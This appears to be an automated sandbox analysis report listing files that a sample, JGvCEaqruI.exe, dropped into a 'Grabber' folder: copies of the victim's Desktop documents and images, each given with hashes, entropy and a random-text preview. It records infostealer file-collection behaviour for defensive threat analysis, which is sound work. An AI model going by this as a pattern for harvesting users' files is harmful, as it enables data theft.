Preview:	HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\HMPPSXQPQV.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698711683401115
Encrypted:	false
SSDEEP:	24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
MD5:	47643CE7571E0C995094D7CE5F2005D7
SHA1:	40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
SHA-256:	1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
SHA-512:	3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
Malicious:	false
Preview:	HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\HQJBRDYKDE.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.691179545447335
Encrypted:	false
SSDEEP:	24:tlYQ6oxCx5XYY3KvUEOIA65F7dAeIQGhrMerXo:rxy5avIgDIQQrMQXo
MD5:	70ED9F89ADEE0C43C2C82F30F075991E
SHA1:	0E75067F3EEBF7D577813A06A0A6A2FA9640A04F
SHA-256:	4CCB14AF416B302962BC020D9E436FCA0B32B56F37932B2CA7D078355282CF80
SHA-512:	A75A2B3BE722735CE45B93CB1522F31D884BA8BE30A122BFCE7E50720773B0B5B48F163BB9FF0239015430BEADD61DAD76F13EA6CC027C5A4AB4B842EED468CB
Malicious:	false
Preview:	HQJBRDYKDEOHXEMHQUWMHZKQTIUMQUJZQSHSNBAZYZJDQYWUPMZFOTGKPEFSZCMKVLFONSCAAMYVGLIHZYOTOPUUVQOBDOLNPVUWURWNEXALCBEMRUAMWIVXUEMKBDPTQDMNCZDHIBPXPQNVVBSEAMAZGUFIOXJXUMQDPOKVVJUQBWZVZRBRPTZPVEJYLPIYMEAMWWDBNMSHJABGSBWULRADLUGOSJMUMMAMATXWORDUBFFRKPJOGISDLVVWVEVKTCLPSYFZVEZUCAYZDFGQESZIGEIJSPECVLABTLKSYGZSZGOCSOVUTVVPDTKMXTQIDAXVAJZEADSIEJVOWEHIMAOXMXIYKZIBMQKEOKXDOHFZWHLAGEWJECAZGRNZINNBMFSXKSHESCTAUQMEPBTLUPWEJFSFLHXHTECHZUUDFJOGDDWIRGOWPPKFZEUJYTJMHKZKHJNTGRKLLEAGPHTTOOTTMGEBMEHXZJPZXSVAQMYTVIDQEYRXIAPROXUHUUXYGMHCRUUYFQOWDUPJKUNGSADHWGBZUQMPTWLBUXNFUJGXUJHMMUUHZIKPUPRZVXNDGTJDDXIMANOVZFNWWEHJHXRQXSYDNXTPEXJZNKPPCJBVRMLFMRIEWFPGJGVBHZKCGUUQFRCXDGAPMAVRPRODGVOWMFUTKARIMTYBKFAHZMPYXRSLUFTYOWQDSLXVKMYYISNNZDBQEVANDLZJURRLNHZBMEVGPOIXUCEKJTTUZSEQSNPEEYVXCUAWHUWEFITOITMDHBLUWCIANEGYREWEOVBZRHQTHBYYPFCKKGLXQPBHRRMJUHMZXPSZSYQISKTCKOCWTTRZHBQSMTMNCYCQKIGYNDYWGUIVILQUURMKJKQBBDUZOINKPJRQEGWTTZOFXCCZXUCHKCWUSBTKAOSTDEHMZTFHPRMNWUWUKXNTZRKJRQLXXQCEGZPAHKOBVMNQQIYGWKFTHIVTFKISEBNGTEJIXPIRDTAGJZNJKNLM

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\HQJBRDYKDE.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.691179545447335
Encrypted:	false
SSDEEP:	24:tlYQ6oxCx5XYY3KvUEOIA65F7dAeIQGhrMerXo:rxy5avIgDIQQrMQXo
MD5:	70ED9F89ADEE0C43C2C82F30F075991E
SHA1:	0E75067F3EEBF7D577813A06A0A6A2FA9640A04F
SHA-256:	4CCB14AF416B302962BC020D9E436FCA0B32B56F37932B2CA7D078355282CF80
SHA-512:	A75A2B3BE722735CE45B93CB1522F31D884BA8BE30A122BFCE7E50720773B0B5B48F163BB9FF0239015430BEADD61DAD76F13EA6CC027C5A4AB4B842EED468CB
Malicious:	false
Preview:	HQJBRDYKDEOHXEMHQUWMHZKQTIUMQUJZQSHSNBAZYZJDQYWUPMZFOTGKPEFSZCMKVLFONSCAAMYVGLIHZYOTOPUUVQOBDOLNPVUWURWNEXALCBEMRUAMWIVXUEMKBDPTQDMNCZDHIBPXPQNVVBSEAMAZGUFIOXJXUMQDPOKVVJUQBWZVZRBRPTZPVEJYLPIYMEAMWWDBNMSHJABGSBWULRADLUGOSJMUMMAMATXWORDUBFFRKPJOGISDLVVWVEVKTCLPSYFZVEZUCAYZDFGQESZIGEIJSPECVLABTLKSYGZSZGOCSOVUTVVPDTKMXTQIDAXVAJZEADSIEJVOWEHIMAOXMXIYKZIBMQKEOKXDOHFZWHLAGEWJECAZGRNZINNBMFSXKSHESCTAUQMEPBTLUPWEJFSFLHXHTECHZUUDFJOGDDWIRGOWPPKFZEUJYTJMHKZKHJNTGRKLLEAGPHTTOOTTMGEBMEHXZJPZXSVAQMYTVIDQEYRXIAPROXUHUUXYGMHCRUUYFQOWDUPJKUNGSADHWGBZUQMPTWLBUXNFUJGXUJHMMUUHZIKPUPRZVXNDGTJDDXIMANOVZFNWWEHJHXRQXSYDNXTPEXJZNKPPCJBVRMLFMRIEWFPGJGVBHZKCGUUQFRCXDGAPMAVRPRODGVOWMFUTKARIMTYBKFAHZMPYXRSLUFTYOWQDSLXVKMYYISNNZDBQEVANDLZJURRLNHZBMEVGPOIXUCEKJTTUZSEQSNPEEYVXCUAWHUWEFITOITMDHBLUWCIANEGYREWEOVBZRHQTHBYYPFCKKGLXQPBHRRMJUHMZXPSZSYQISKTCKOCWTTRZHBQSMTMNCYCQKIGYNDYWGUIVILQUURMKJKQBBDUZOINKPJRQEGWTTZOFXCCZXUCHKCWUSBTKAOSTDEHMZTFHPRMNWUWUKXNTZRKJRQLXXQCEGZPAHKOBVMNQQIYGWKFTHIVTFKISEBNGTEJIXPIRDTAGJZNJKNLM

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LFOPODGVOH.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LFOPODGVOH.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LFOPODGVOH.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LFOPODGVOH\GNLQNHOLWB.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698695541849584
Encrypted:	false
SSDEEP:	24:ZE+7+1bm31iNKty4eaTDMDURN6ZqyioAe1L:ZE+61bm0Qty41T5N6ZNLAeZ
MD5:	64E7020B0B401F75D3061A1917D99E04
SHA1:	785E09A2F76464E26CE282F41DE07D1B27FFB855
SHA-256:	9E5D6C897851C4A24A0D3BC4F9291A971550B9F1B9F9CFB86D7A2D5F12CD63B0
SHA-512:	14D18C0739A9B9097C2135DF001E31BA17772A9ED1DFC62318AD092C133F8C054E5C335354C57929137344E11AC6F0EBC5032211136D1F1B3F6DF8F1434D90E3
Malicious:	false
Preview:	GNLQNHOLWBOQVJIFTLNFGJNNXMGUZOMCUNVQXIPWIQSXJKHHVRYLBVHOHRRAZCZOOSABVUNECAWUZDTCLDYZAFJGGGUXKDFDPLZWHOYARDSHMWUJKNJPXNWQKOEVEVLWQLXKJLHTDQZQULYODUZGGIUHFXGBKGLAQBERUUCASFPJWCVSHYWEKXXBEZZVPBKVPPRGJJFXTGVBUVLUVQNAPBMPJOZNNFCDPEHNHWSMZSBAYITASRGZTGXSYUNNLKZKAVLGDGRIUVYOWINQLHMWTCZYYSGNSZQWZQNLKENKZJSDTJDSZVFQGHKVENDXCIHQVPCJNVXYVCJTKGGQJHTLGYJROSCXNGTCNNLCBSAOHAXWLQLCXTRIYCZVDEDWKBEHBEBKKXYVNQHTFFQFVFLHQRXMYLCHQAJKIRETOPSMFDVMJOROHVBDNWQMACXDCGCPKSQUIXWYXSYDPSBSUJMXEBPBCWJDOKOSFYRZQSCWEIHCQFTRYQVAUUYDVCYUHDRUKCTOGNWSTPHONXNHSHICTVCMWIDPOKQMNGFKZOADDJPTUVPEWWFNEKDLAVDZNBHHFIRSPGSQGUQUGGIRSVJTEIAUJEHUVHRJPWEMACBNRIWVFWWRDNGHYAESSKWHOCXLPYRMKQYTXSSYLKESQEPWVDSSTKTYQDQTTAUVWPQFTTJMGMEGRECDIFCMPKXTYYNGENSBDKEVPPDNRRDLULORZGHRQIQWLMHMKLKDLNSNWXWGTMDLMPWAGGPUJXOOYWOGWZTDKIVNNXMKJEFALSJECCOVZVTAPKGAXWCUMHLAHYBPLBTDXBKKPKPJFJOKZKMPEWOOMMMCZHSENRPGKEJJHHOVFETVBBFBTDTSNLGGPVPAFDOXRJUKYZTGOFQUAVOGUZJARUUCKMRYUSWZIRYUATBQRRVCNMFMMBTGSFQCAOTPTSBPCICPBMURXQOIITZCLXKSJVDGFLGHUIHTALRYCNLFILDCLQXDOGMOKPXT

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LFOPODGVOH\HQJBRDYKDE.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.691179545447335
Encrypted:	false
SSDEEP:	24:tlYQ6oxCx5XYY3KvUEOIA65F7dAeIQGhrMerXo:rxy5avIgDIQQrMQXo
MD5:	70ED9F89ADEE0C43C2C82F30F075991E
SHA1:	0E75067F3EEBF7D577813A06A0A6A2FA9640A04F
SHA-256:	4CCB14AF416B302962BC020D9E436FCA0B32B56F37932B2CA7D078355282CF80
SHA-512:	A75A2B3BE722735CE45B93CB1522F31D884BA8BE30A122BFCE7E50720773B0B5B48F163BB9FF0239015430BEADD61DAD76F13EA6CC027C5A4AB4B842EED468CB
Malicious:	false
Preview:	HQJBRDYKDEOHXEMHQUWMHZKQTIUMQUJZQSHSNBAZYZJDQYWUPMZFOTGKPEFSZCMKVLFONSCAAMYVGLIHZYOTOPUUVQOBDOLNPVUWURWNEXALCBEMRUAMWIVXUEMKBDPTQDMNCZDHIBPXPQNVVBSEAMAZGUFIOXJXUMQDPOKVVJUQBWZVZRBRPTZPVEJYLPIYMEAMWWDBNMSHJABGSBWULRADLUGOSJMUMMAMATXWORDUBFFRKPJOGISDLVVWVEVKTCLPSYFZVEZUCAYZDFGQESZIGEIJSPECVLABTLKSYGZSZGOCSOVUTVVPDTKMXTQIDAXVAJZEADSIEJVOWEHIMAOXMXIYKZIBMQKEOKXDOHFZWHLAGEWJECAZGRNZINNBMFSXKSHESCTAUQMEPBTLUPWEJFSFLHXHTECHZUUDFJOGDDWIRGOWPPKFZEUJYTJMHKZKHJNTGRKLLEAGPHTTOOTTMGEBMEHXZJPZXSVAQMYTVIDQEYRXIAPROXUHUUXYGMHCRUUYFQOWDUPJKUNGSADHWGBZUQMPTWLBUXNFUJGXUJHMMUUHZIKPUPRZVXNDGTJDDXIMANOVZFNWWEHJHXRQXSYDNXTPEXJZNKPPCJBVRMLFMRIEWFPGJGVBHZKCGUUQFRCXDGAPMAVRPRODGVOWMFUTKARIMTYBKFAHZMPYXRSLUFTYOWQDSLXVKMYYISNNZDBQEVANDLZJURRLNHZBMEVGPOIXUCEKJTTUZSEQSNPEEYVXCUAWHUWEFITOITMDHBLUWCIANEGYREWEOVBZRHQTHBYYPFCKKGLXQPBHRRMJUHMZXPSZSYQISKTCKOCWTTRZHBQSMTMNCYCQKIGYNDYWGUIVILQUURMKJKQBBDUZOINKPJRQEGWTTZOFXCCZXUCHKCWUSBTKAOSTDEHMZTFHPRMNWUWUKXNTZRKJRQLXXQCEGZPAHKOBVMNQQIYGWKFTHIVTFKISEBNGTEJIXPIRDTAGJZNJKNLM

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LFOPODGVOH\LFOPODGVOH.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LFOPODGVOH\NIRMEKAMZH.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694574194309462
Encrypted:	false
SSDEEP:	24:57msLju1di6quBsK4eI3+RkAjyMKtB/kS0G1:gmjuC1uBsNeAokAUB/GE
MD5:	78801AF1375CDD81ED0CC275FE562870
SHA1:	8ED80B60849A4665F11E20DE225B9ACB1F88D5A9
SHA-256:	44BF2D71E854D09660542648F4B41BC00C70ABA36B4C8FD76F9A8D8AB23B5276
SHA-512:	E20D16EC40FEF1A83DB1FC39A84B691870C30590FC70CA38CC83A8F08C08F626E3136ADBF3B731F85E5768561C8829C42DF3B97C726191FEF3859272A03E99E0
Malicious:	false
